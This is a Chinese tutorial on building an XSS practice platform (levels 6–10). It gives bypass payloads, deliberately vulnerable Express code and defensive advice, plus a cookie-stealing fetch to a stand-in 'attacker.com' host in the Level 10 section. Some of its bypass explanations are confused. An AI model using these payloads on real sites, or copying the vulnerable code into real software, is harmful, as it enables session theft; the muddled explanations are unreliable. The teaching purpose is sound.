XSS进阶实战:从属性注入到存储型漏洞的5个关卡设计
1. 项目概述与核心价值
最近在带新人做安全测试,发现很多朋友对XSS(跨站脚本攻击)的理解还停留在“弹个窗”的层面,这其实挺危险的。XSS的威力远不止于此,它能让攻击者窃取用户Cookie、劫持会话、甚至配合其他漏洞实现更复杂的攻击链。为了让大家能在一个安全、可控的环境里真正搞懂XSS,我花了些时间搭建并优化了一个“XSS入门/练习平台”,重点设计了从Level 6到Level 10这五个关卡。这个平台不是简单的漏洞罗列,而是模拟了真实Web应用中越来越复杂的防御场景和绕过思路。
这个平台的核心价值在于“渐进式实战”。很多现成的靶场要么太简单,一眼就能看穿;要么过于复杂,新手容易迷失。我的设计思路是,每个关卡都引入一个新的、常见的过滤或防御机制,你需要像解谜一样,去思考如何绕过它。从Level 6开始,挑战的难度和现实贴合度会显著提升,你会遇到对事件处理函数的过滤、对javascript:伪协议的检查、对大小写的限制、以及需要多步骤构造的存储型XSS场景。通过亲手绕过这些防御,你不仅能记住Payload,更能深刻理解前端渲染、输入过滤、输出编码背后的原理,知道防御措施为什么这么设计,以及它的弱点可能在哪里。
对于Web安全初学者、渗透测试工程师,甚至是前端开发人员(了解攻击才能更好地防御),这个平台都是一个绝佳的练手场。你不需要担心搞坏生产环境,可以大胆尝试各种奇思妙想。下面,我就把这五个关卡的设计思路、核心考点、绕过技巧以及我踩过的坑,毫无保留地分享出来。
2. 平台关卡设计与核心考点拆解
我的练习平台从Level 6开始,是因为前5个关卡(Level 1-5)通常涵盖了最基础的反射型XSS、DOM型XSS以及简单的标签和事件过滤。从第6关起,我们进入“攻防对抗”的深水区。
2.1 Level 6:实体编码与HTML属性注入
这一关模拟了一个非常常见的场景:开发人员知道要对用户输入进行HTML实体编码来防御XSS,但他们可能只对尖括号<、>进行了编码,却忽略了HTML属性值本身的注入风险。
场景还原:页面上有一个搜索框,你的输入会被放入一个<input>标签的value属性中,比如<input type="text" value="用户输入">。后端对输入中的<和>进行了转义,变成了<和>,这样你无法直接闭合标签插入新的<script>。但是,属性值本身没有被引号完整包裹,或者存在可被利用的事件属性。
核心考点:当无法插入新标签时,如何利用现有标签的事件属性(如onclick,onmouseover,onfocus等)来执行JavaScript。关键在于闭合当前的属性值,然后添加新的事件处理器。
绕过实战与思考: 假设原始代码是:<input type="text" value="KEYWORD">
- 尝试注入:
“ onmouseover=”alert(1)。注意,这里的第一个引号用于闭合value属性原有的(可能缺失的)引号。 - 最终构造的Payload可能看起来像:
<input type="text" value="" onmouseover="alert(1)">。当用户鼠标滑过这个输入框时,弹窗就会触发。 - 这里有个关键细节:如果后端在输出时,确实给
value属性加上了引号,比如value=“KEYWORD”,那么你的注入就需要先闭合前面的引号。Payload应为:“ onmouseover=”alert(1)//。后面的//是JavaScript的单行注释,用于注释掉原属性值后面可能多余的引号或字符,避免语法错误。
注意:在实际测试中,一定要用浏览器开发者工具(F12)查看最终渲染后的HTML结构,确认你的输入是如何被嵌入的。这是所有XSS测试的第一步,也是最重要的一步。
2.2 Level 7:过滤特定关键词与混淆技巧
从这一关开始,平台引入了主动过滤机制。后台代码会检查你的输入中是否包含像script、onclick、javascript这类明显的危险关键词,如果发现,就直接将其删除或替换为空。
场景还原:一个评论提交功能,后端对输入进行字符串匹配和过滤。你输入<script>alert(1)</script>,提交后会发现页面上的内容变成了<>alert(1)</>,script这个词被整个移除了。
核心考点:如何绕过基于字符串匹配的过滤?核心思路是“混淆”,让过滤系统认不出你的恶意代码,但浏览器依然能正常解析。
绕过实战与思考:
- 双写绕过:这是最简单直接的绕过方式。如果过滤逻辑是简单地删除一次
script,那么你可以输入<scrscriptipt>alert(1)</scrscriptipt>。过滤系统删除中间的script后,剩下的字符正好又组合成了一个新的script标签。你需要试探过滤规则是删除所有匹配项还是只删除一次。 - 大小写混淆:
<ScRiPt>alert(1)</sCrIpT>。早期的、不区分大小写的过滤可能会失效。 - 使用非标准事件处理器:除了常见的
onclick,可以尝试onpointerenter、onfocus、onblur等。或者使用HTML5的新属性,如autofocus onfocus=alert(1),这样当输入框自动获得焦点时就会触发。 - 编码与特殊字符:尝试对部分字符进行HTML实体编码或URL编码。例如,
<img src=x onerror=alert(1)>,可以尝试将onerror编码为onerror(e被编码了)。浏览器的HTML解析器会在渲染前对其进行解码。
我的踩坑记录:在一次内部测试中,我发现过滤系统采用正则表达式/<script.*?>/gi进行匹配和删除。我使用了<scr<script>ipt>,本以为中间的<script>会被删除,留下两边的部分组合成新标签。但实际上,由于正则的贪婪匹配,它可能从第一个<scr匹配到最后一个ipt>,导致整个字符串被误删或破坏。解决方案是使用换行符或不可见字符将关键词打断,如<scr\nipt>,这取决于过滤逻辑是否处理了这些特殊字符。
2.3 Level 8:JavaScript伪协议与链接注入
这一关的注入点在一个<a>标签的href属性里,比如“友情链接”提交功能。格式是<a href=“用户输入”>点击这里</a>。后台的防御策略是:必须要求输入以http://或https://开头,否则不予显示或进行拦截。
场景还原:你只能提交一个URL,系统会检查开头。你的目标是让用户点击这个链接时执行JS代码,而不是跳转到外部网站。
核心考点:javascript:伪协议。这是一个特殊的协议,允许在链接中直接执行JavaScript代码,例如<a href=“javascript:alert(document.domain)”>点击</a>。但本关的关键在于,如何让一个以http://开头的字符串,最终被浏览器解释为javascript:协议。
绕过实战与思考:
- 利用URL解析特性:浏览器在解析URL时,有时会忽略某些字符或进行规范化。你可以尝试提交:
http://#javascript:alert(1)。有些古老的浏览器或解析库可能会将#后面的内容视为片段标识符(fragment),而实际请求的协议仍是http,但前端脚本处理时可能出错。不过这种方法在现代浏览器中成功率很低。 - 利用数据协议:
data:协议可以内嵌HTML内容。例如:http://data:text/html,<script>alert(1)</script>。但严格来说,这已经不是javascript:伪协议了,且同样可能被检测data:关键词。 - 二次注入与编码绕过(更实用的思路):观察后台是否只验证了“提交时”的输入开头,而在“显示时”是否还有别的处理环节。例如,是否将用户输入先存入数据库,再读出来展示?是否存在一个“链接重定向”功能,它会读取
href的内容并跳转?你可以尝试注入:http://your-ethical-site.com?redirect=javascript:alert(1)。如果网站有一个不安全的跳转功能,参数值未经严格过滤就直接用于location.href,就可能造成漏洞。这提醒我们,防御不能只看一个点,要关注数据在整个应用生命周期中的流动。
重要心得:遇到协议白名单限制时,不要只盯着如何欺骗前端的校验。更要思考整个业务流程:数据从哪儿来,经过哪些函数处理,最后在哪儿用、怎么用。漏洞往往出现在逻辑链条的衔接处。
2.4 Level 9:严格的输入净化与逻辑缺陷利用
这一关的过滤非常全面:对尖括号、引号、括号等特殊字符进行了实体转义,同时也过滤了script、on、javascript等关键词。乍一看,似乎无懈可击。
场景还原:一个“内容预览”功能,用户输入会在一个沙盒iframe里展示。所有明显的XSS向量都被封死了。
核心考点:当常规的HTML和事件注入都失效时,需要寻找“逻辑缺陷”或“解析差异”。浏览器、前端框架、后端模板引擎对同一段代码的解析可能不同,这中间的差异就是机会。
绕过实战与思考:
- SVG向量:SVG(可缩放矢量图形)本质是XML,它可以内嵌JavaScript。即使
<script>标签被过滤,SVG的一些事件属性可能还在允许列表里。尝试注入一个SVG图像:<svg><image href=“1” onload=“alert(1)”></svg>。onload事件在SVG元素加载时触发。 <math>标签与<mglyph>:在旧版或特定版本的浏览器中,<math>标签(数学ML)和<mglyph>子标签可能支持一些非标准的事件处理方式,可以作为备选向量。- 利用CSS表达式(IE特性):如果平台为了兼容性而允许旧式写法,可以尝试
<div style=“width: expression(alert(1))”>。但这仅适用于古老的IE浏览器,现代靶场一般不会涉及,但知道这个原理有助于理解“非常规执行上下文”。 - DOM Clobbering:这是一种更高级的技巧,利用HTML元素来覆盖JavaScript全局变量或DOM属性。例如,注入
<form id=“xss”><input name=“action” value=“alert(1)”></form>,然后如果页面中存在不严谨的代码如window.action或document.xss.action,就可能被我们注入的form元素所覆盖。这一关的真正难点,是引导测试者跳出“找标签事件”的定式思维,去思考更底层的浏览器对象模型(BOM/DOM)交互。
2.5 Level 10:多步骤组合攻击与存储型XSS
这是入门平台的收官之关,模拟了一个简化的存储型XSS场景。攻击不能一蹴而就,需要多个步骤组合,并且Payload会存储在服务器上,影响所有后续访问的用户。
场景还原:一个用户留言板。有“留言内容”(content)和“留言人网站”(website)两个字段。content字段做了严格的过滤和转义,但website字段只做了简单的检查(比如要求是合法URL格式)。留言显示时,content被安全地输出在<div>里,而website则被以链接形式显示:<a href=“输入的网站”>访问我的主页</a>。
核心考点:存储型XSS的利用链构造、不敏感字段的利用、以及如何让Payload在正确的时间触发。
绕过实战与思考:
- 寻找次要注入点:主字段(
content)防御坚固,就转向次要字段(website)。虽然website要求是URL,但我们可以尝试注入javascript:伪协议。Payload:javascript:alert(document.cookie)。如果后端没有对协议进行严格白名单校验(只校验了格式),那么它就会被存储。 - 组合触发:存储型XSS的Payload可能不会在页面加载时立即执行。比如,一个
javascript:链接需要用户点击才会触发。为了提高攻击成功率,我们需要诱使用户点击。在真实攻击中,这可能会结合社交工程,比如将留言内容设置为“帮我看看这个链接的问题”,而链接就是恶意Payload。 - 窃取Cookie的完整Payload:一个更危险的Payload是:
javascript:fetch(‘https://attacker.com/steal?cookie=’+encodeURIComponent(document.cookie))。这会将当前用户的Cookie发送到攻击者控制的服务器。在搭建练习平台时,我强烈建议将此类涉及外部网络请求的Payload替换为无害的alert(document.domain),以避免法律风险和安全误解。 - 隐蔽与持久化:攻击者可能会将恶意代码进行编码(如Base64),并在
javascript:协议中通过eval(atob(‘…’))来解码执行,以绕过简单的关键词过滤。例如:javascript:eval(atob(‘YWxlcnQoMSk=’))(即alert(1)的Base64编码)。
3. 平台搭建实操与核心代码解析
光讲理论不够,我分享一下搭建这个练习平台后端(以Node.js + Express为例)的核心思路和关键代码片段。注意,这是教学演示代码,绝对不可用于生产环境。
3.1 项目结构与依赖
创建一个简单的项目目录,初始化并安装必要依赖:
mkdir xss-training-platform cd xss-training-platform npm init -y npm install express项目主要文件:
server.js: 主服务器文件。views/: 存放HTML模板(这里为了简单,我们用字符串内联)。levels/: 每个关卡的后端处理逻辑(本文为演示,合并写在主文件)。
3.2 核心服务器框架与关卡路由
首先,搭建一个基础Express服务器,并为每个关卡定义路由。
// server.js const express = require('express'); const app = express(); const port = 3000; // 中间件:解析 application/x-www-form-urlencoded 格式的请求体 app.use(express.urlencoded({ extended: true })); // 静态文件服务,用于存放前端CSS/JS(可选) app.use(express.static('public')); // 首页,展示关卡列表 app.get('/', (req, res) => { res.send(` <h1>XSS训练平台 (Level 6-10)</h1> <ul> <li><a href="/level6">Level 6: 属性注入</a></li> <li><a href="/level7">Level 7: 关键词过滤</a></li> <li><a href="/level8">Level 8: 协议限制</a></li> <li><a href="/level9">Level 9: 严格过滤</a></li> <li><a href="/level10">Level 10: 存储型XSS</a></li> </ul> `); }); // 接下来定义各个关卡的路由... // Level 6, 7, 8, 9, 10 的路由将分别定义 app.listen(port, () => { console.log(`训练平台运行在 http://localhost:${port}`); });3.3 Level 6 实现:有缺陷的HTML实体编码
这一关模拟只转义了尖括号,但属性未正确引用的场景。
// Level 6 路由 app.get('/level6', (req, res) => { // 显示一个搜索表单 const html = ` <h2>Level 6: 不完整的转义</h2> <p>尝试在搜索框中注入,让鼠标滑过时弹窗。</p> <form method="GET" action="/level6/search"> <input type="text" name="keyword" placeholder="输入搜索词..."> <button type="submit">搜索</button> </form> <p><a href="/">返回首页</a></p> `; res.send(html); }); app.get('/level6/search', (req, res) => { let userInput = req.query.keyword || ''; // 模拟有缺陷的过滤:只转义了尖括号 userInput = userInput.replace(/</g, '<').replace(/>/g, '>'); // 关键漏洞:将用户输入直接放入input的value属性,且没有用引号包裹! const resultHtml = ` <h2>搜索结果</h2> <p>你搜索了: <input type="text" value=${userInput} readonly></p> <p>提示:看看生成的HTML代码,value属性缺少了什么?</p> <p><a href="/level6">再试一次</a> | <a href="/">首页</a></p> `; res.send(resultHtml); });漏洞点分析:value=${userInput}。如果用户输入包含空格和事件处理器,如“ onmouseover=”alert(1),它就会变成value=“ onmouseover=“alert(1),从而成功注入。正确的防御应该是:value=“${userInput}”,并且userInput还需要进行HTML属性编码(将&、“、‘等转义)。
3.4 Level 7 实现:简单的字符串过滤与删除
这一关实现一个简单的关键词删除过滤。
// Level 7 路由 app.get('/level7', (req, res) => { const html = ` <h2>Level 7: 关键词过滤</h2> <p>尝试提交一段评论,系统会过滤掉“危险”词汇。</p> <form method="POST" action="/level7/comment"> <textarea name="comment" rows="4" cols="50" placeholder="输入你的评论..."></textarea><br> <button type="submit">提交评论</button> </form> <p><a href="/">返回首页</a></p> `; res.send(html); }); app.post('/level7/comment', (req, res) => { let userComment = req.body.comment || ''; // 模拟简单的字符串删除过滤 const forbiddenWords = ['script', 'onclick', 'javascript', 'alert']; forbiddenWords.forEach(word => { // 使用全局替换,删除所有匹配项(这里设计为删除一次,留给双写绕过空间) // 为了增加难度,可以尝试不同的过滤策略,比如替换为空字符串多次 userComment = userComment.replace(new RegExp(word, 'gi'), ''); }); // 显示“过滤后”的评论 const resultHtml = ` <h2>评论展示</h2> <div>${userComment}</div> <!-- 注意:这里直接输出,没有转义! --> <p>提示:过滤规则是删除关键词。试试“scrscriptipt”。</p> <p><a href="/level7">再试一次</a> | <a href="/">首页</a></p> `; res.send(resultHtml); });漏洞点分析:过滤后,代码直接将userComment输出到<div>中。如果用户输入<scrscriptipt>alert(1)</scrscriptipt>,过滤系统删除中间的script后,剩下的字符组合成<script>alert(1)</script>,注入成功。这演示了“消毒”不彻底的后果。更安全的做法是,在输出时进行正确的HTML文本编码(如将<转为<),而不仅仅在输入时做删除处理。
3.5 Level 8 实现:协议头检查与伪协议挑战
这一关检查输入是否以http://或https://开头。
// Level 8 路由 app.get('/level8', (req, res) => { const html = ` <h2>Level 8: 友情链接提交</h2> <p>请提交一个有效的网址(必须以http://或https://开头)。</p> <form method="POST" action="/level8/submit"> <input type="text" name="url" size="50" placeholder="https://example.com"><br> <button type="submit">提交链接</button> </form> <p><a href="/">返回首页</a></p> `; res.send(html); }); app.post('/level8/submit', (req, res) => { let userUrl = req.body.url || ''; // 检查是否以 http:// 或 https:// 开头 if (!userUrl.startsWith('http://') && !userUrl.startsWith('https://')) { return res.send('链接必须以 http:// 或 https:// 开头!<br><a href="/level8">返回</a>'); } // 通过检查,直接将其放入a标签的href属性 const resultHtml = ` <h2>您的链接已生成</h2> <p>点击查看: <a href="${userUrl}">访问链接</a></p> <p>提示:href属性里的内容,浏览器会怎么解释?</p> <p><a href="/level8">再试一次</a> | <a href="/">首页</a></p> `; res.send(resultHtml); });漏洞点分析:代码只检查了“开头”,但没有对协议进行白名单验证。用户可以提交http://javascript:alert(1)。虽然它以http://开头,但整个字符串作为href的值,浏览器在解析时会将其视为一个完整的URL。http://部分会被视为协议,javascript:alert(1)会被视为“主机名”吗?不,实际上,当用户点击这个链接时,浏览器会尝试导航至http://javascript:alert(1),这通常会导致一个DNS解析错误或奇怪的页面,而不会执行JS。这里我故意设置了一个思维陷阱。真正的绕过可能需要利用其他特性,比如http://localhost#javascript:alert(1),或者结合Level 9的思路,寻找解析差异。这个关卡旨在引发关于“协议校验完整性”的思考。
3.6 Level 9 实现:多重过滤与SVG向量
这一关实施更全面的过滤。
// Level 9 路由 app.get('/level9', (req, res) => { const html = ` <h2>Level 9: 严格的内容预览</h2> <p>输入一些内容,它将在下方预览框中安全地展示。</p> <form method="POST" action="/level9/preview"> <textarea name="content" rows="4" cols="50" placeholder="输入HTML内容..."></textarea><br> <button type="submit">预览</button> </form> <p><a href="/">返回首页</a></p> `; res.send(html); }); app.post('/level9/preview', (req, res) => { let userContent = req.body.content || ''; // 1. 转义HTML特殊字符 userContent = userContent.replace(/[&<>"']/g, function(m) { return {'&':'&', '<':'<', '>':'>', '"':'"', "'":'''}[m]; }); // 2. 过滤危险关键词(不区分大小写) const dangerousPatterns = [/script/gi, /on\w+/gi, /javascript:/gi]; dangerousPatterns.forEach(pattern => { userContent = userContent.replace(pattern, '[FILTERED]'); }); // 3. 将内容放入一个div中展示 const resultHtml = ` <h2>内容预览</h2> <div style="border:1px solid #ccc; padding:10px; margin:10px 0;"> ${userContent} </div> <p>提示:常规的HTML和事件注入都被封了。还有什么标签能执行代码?想想图片、SVG。</p> <p><a href="/level9">再试一次</a> | <a href="/">首页</a></p> `; res.send(resultHtml); });漏洞点分析:过滤看起来很强,但可能存在“漏网之鱼”。例如,它过滤了on\w+(所有on开头的事件),但SVG标签内的事件处理器名称可能略有不同,或者过滤正则没有覆盖全。尝试Payload:<svg><image href=“1” onload=“alert(1)”></svg>。这里onload可能被on\w+过滤掉。但我们可以尝试其他SVG事件或方法,例如<svg><a xlink:href=“javascript:alert(1)”><text x=“20” y=“20”>点击我</text></a></svg>。关键在于,过滤规则是否考虑了xlink:href属性以及SVG的命名空间。这个关卡的设计是为了让练习者去探索浏览器的各种解析上下文和少见的标签/属性。
3.7 Level 10 实现:简单的存储型XSS模拟
用一个数组模拟数据库,存储留言。
// Level 10 路由 - 使用内存数组模拟数据库 let messages = []; // “数据库” app.get('/level10', (req, res) => { // 显示留言板和提交表单 let messagesHtml = messages.map(msg => ` <div style="border-bottom:1px solid #eee; margin:10px 0; padding:10px;"> <strong>留言人:</strong> ${msg.author}<br> <strong>内容:</strong> ${msg.content}<br> <strong>网站:</strong> <a href="${msg.website}">访问我的主页</a> </div> `).join(''); const html = ` <h2>Level 10: 留言板(存储型XSS模拟)</h2> <h3>历史留言</h3> ${messagesHtml || '<p>暂无留言。</p>'} <hr> <h3>发布新留言</h3> <form method="POST" action="/level10/post"> <label>昵称:</label><input type="text" name="author"><br> <label>留言内容:</label><br><textarea name="content" rows="3" cols="50"></textarea><br> <label>个人网站:</label><input type="text" name="website" placeholder="http://example.com"><br> <button type="submit">发布留言</button> </form> <p><a href="/">返回首页</a></p> `; res.send(html); }); app.post('/level10/post', (req, res) => { const { author, content, website } = req.body; // 模拟不同的处理策略 // 1. 对留言内容进行严格的HTML转义 const safeContent = content.replace(/[&<>"']/g, function(m) { return {'&':'&', '<':'<', '>':'>', '"':'"', "'":'''}[m]; }); // 2. 对网站字段,只做简单的“看起来像URL”的检查,并未严格校验协议 let safeWebsite = website || ''; // 假设我们要求网站字段非空且包含点号(简陋的URL检查) if (safeWebsite && safeWebsite.includes('.')) { // 通过检查,直接存储,未做编码! } else { safeWebsite = '#'; // 给一个默认值 } // 存储留言 messages.push({ author: author || '匿名', content: safeContent, // 内容已转义 website: safeWebsite // 网站未转义,直接存储 }); // 重定向回留言板页面 res.redirect('/level10'); });漏洞点分析:留言content被安全地转义了,所以无法直接注入HTML。但是,website字段在存储和输出时,直接被放入了<a href=“${msg.website}”>中。如果用户提交的website是javascript:alert(document.cookie),它就会作为一个有效的href属性值被存储。当下一个用户浏览留言板并点击这个链接时,JavaScript代码就会在该用户的上下文中执行。这完美演示了“存储型XSS”的攻击模式:恶意数据被持久化,所有访问者都可能受害。防御方法是对website字段也进行严格的URL验证(白名单协议)和适当的编码,或者在输出时确保其以http://或https://开头。
4. 防御方案与安全编程思维
通过搭建和攻破这些关卡,我们更能从防御者的角度思考。这里总结几个关键的安全编程原则:
4.1 原则一:一切输入皆不可信这是安全领域的铁律。无论是来自URL参数、表单提交、Cookie、HTTP头部还是第三方API,所有外部输入都必须经过验证和净化。
4.2 原则二:在正确的上下文中进行输出编码XSS的本质是混淆了代码和数据的边界。防御的核心就是确保用户输入的数据在输出时,始终被当作“数据”而非“代码”来处理。
- 输出到HTML正文:使用HTML实体编码(如
<,>,&)。 - 输出到HTML属性:使用HTML属性编码(除了转义
<>&”‘,还要注意属性是否被引号包裹)。 - 输出到JavaScript:使用JavaScript Unicode转义(如
\u003c)。 - 输出到URL:使用URL编码(
encodeURIComponent)。 - 现代前端框架:如React、Vue、Angular等,默认提供了基于模板的自动转义,极大地减少了XSS风险,但开发者仍需警惕使用
dangerouslySetInnerHTML或v-html等危险API。
4.3 原则三:实施严格的内容安全策略(CSP)CSP是一个强大的浏览器安全特性,通过HTTP头Content-Security-Policy来定义页面允许加载哪些资源(脚本、样式、图片、字体等),以及是否允许内联脚本(unsafe-inline)和eval函数(unsafe-eval)。一个严格的CSP可以极大地缓解XSS的影响,即使攻击者成功注入了脚本,如果该脚本来源不在白名单内,浏览器也不会执行它。 例如,一个严格的CSP头可能是:Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’;。这表示只允许加载同源以及trusted.cdn.com的脚本,完全禁止<object>等插件。
4.4 原则四:使用安全的库和框架避免自己编写复杂的过滤正则表达式,容易出错。使用经过社区广泛验证的库,例如:
- Node.js:
validator.js库提供了丰富的字符串验证和清理函数。 - Java: OWASP ESAPI 编码器。
- Python:
html模块的escape()函数。 - PHP:
htmlspecialchars()函数(注意指定ENT_QUOTES标志)。
4.5 原则五:定期进行安全测试与代码审计将安全测试纳入开发流程。使用自动化工具(如静态应用安全测试SAST、动态应用安全测试DAST)进行扫描,同时辅以人工代码审计和渗透测试。像我们搭建的这种练习平台,就是培养安全思维和手动测试能力的好工具。
5. 常见问题排查与实战技巧
在实际测试和教学过程中,我总结了一些高频问题和技巧:
5.1 Payload不执行?首先检查这几点
- 查看页面源码:右键“查看页面源代码”或使用F12开发者工具的“元素”面板。确认你的输入是否被原样输出?是否被转义了?是否被截断了?
- 确认注入点上下文:你的输入是出现在
<div>内部(HTML文本)?还是出现在<script>标签内(JavaScript)?或是出现在标签属性里?不同的上下文需要不同的Payload和编码方式。 - 浏览器控制台报错:打开F12的“控制台”标签。如果有JavaScript语法错误,Payload就无法执行。可能是引号不匹配,或者使用了被页面CSP策略禁止的函数(如
eval)。 - CSP限制:在开发者工具的“网络”标签中,检查HTTP响应头是否有
Content-Security-Policy。它可能会阻止内联脚本或来自非白名单域的脚本。
5.2 过滤规则摸不透?试试“模糊测试”思路
- 逐步试探:先输入一个简单字符
<,看输出是<还是<。再输入>、“、‘等。 - 输入超长字符串:例如一千个
A,看是否被截断。如果被截断,长度限制是多少? - 输入特殊组合:如
<scr<script>ipt>,观察过滤是删除一次script还是全部删除。输入<SCRipt>,测试是否区分大小写。 - 使用编码试探:输入
<(<的十六进制实体),看它是否被解码后再次过滤。
5.3 存储型XSS利用难点
- 触发条件:存储型Payload可能不会自动执行。需要分析它出现在页面的哪个位置、以什么形式出现(如图片
src、链接href、富文本内)。可能需要用户交互(点击、悬停)才能触发。 - 提高“中奖率”:在实战中,攻击者可能会将恶意代码与诱人的内容结合(如“免费领取”、“火爆视频”),或者利用网站的站内信、评论@功能,将包含Payload的链接主动发送给其他用户。
5.4 工具辅助
- 浏览器开发者工具:是你最好的朋友。除了查看元素、控制台,还可以使用“调试器”在JavaScript代码中设置断点,跟踪数据流。
- Burp Suite / OWASP ZAP:专业的Web渗透测试工具。可以拦截、修改HTTP请求,重放测试,自动化扫描。对于系统性地测试参数和寻找漏洞至关重要。
- XSS Payload清单:维护一个自己的Payload清单,分类记录不同上下文(HTML、属性、JavaScript、URL)下的有效Payload,以及各种绕过技巧。
最后,我想强调的是,搭建和练习XSS平台的目的,绝不是为了去攻击他人。恰恰相反,是为了理解攻击者的思维,从而能够构建更坚固的防御。在安全的世界里,知攻方能善守。希望这个从Level 6到Level 10的旅程,能帮你打下扎实的XSS实战基础。在实际工作中,时刻保持对用户输入的警惕,采用白名单策略,并使用成熟的安全框架和库,才能有效守护应用的安全。
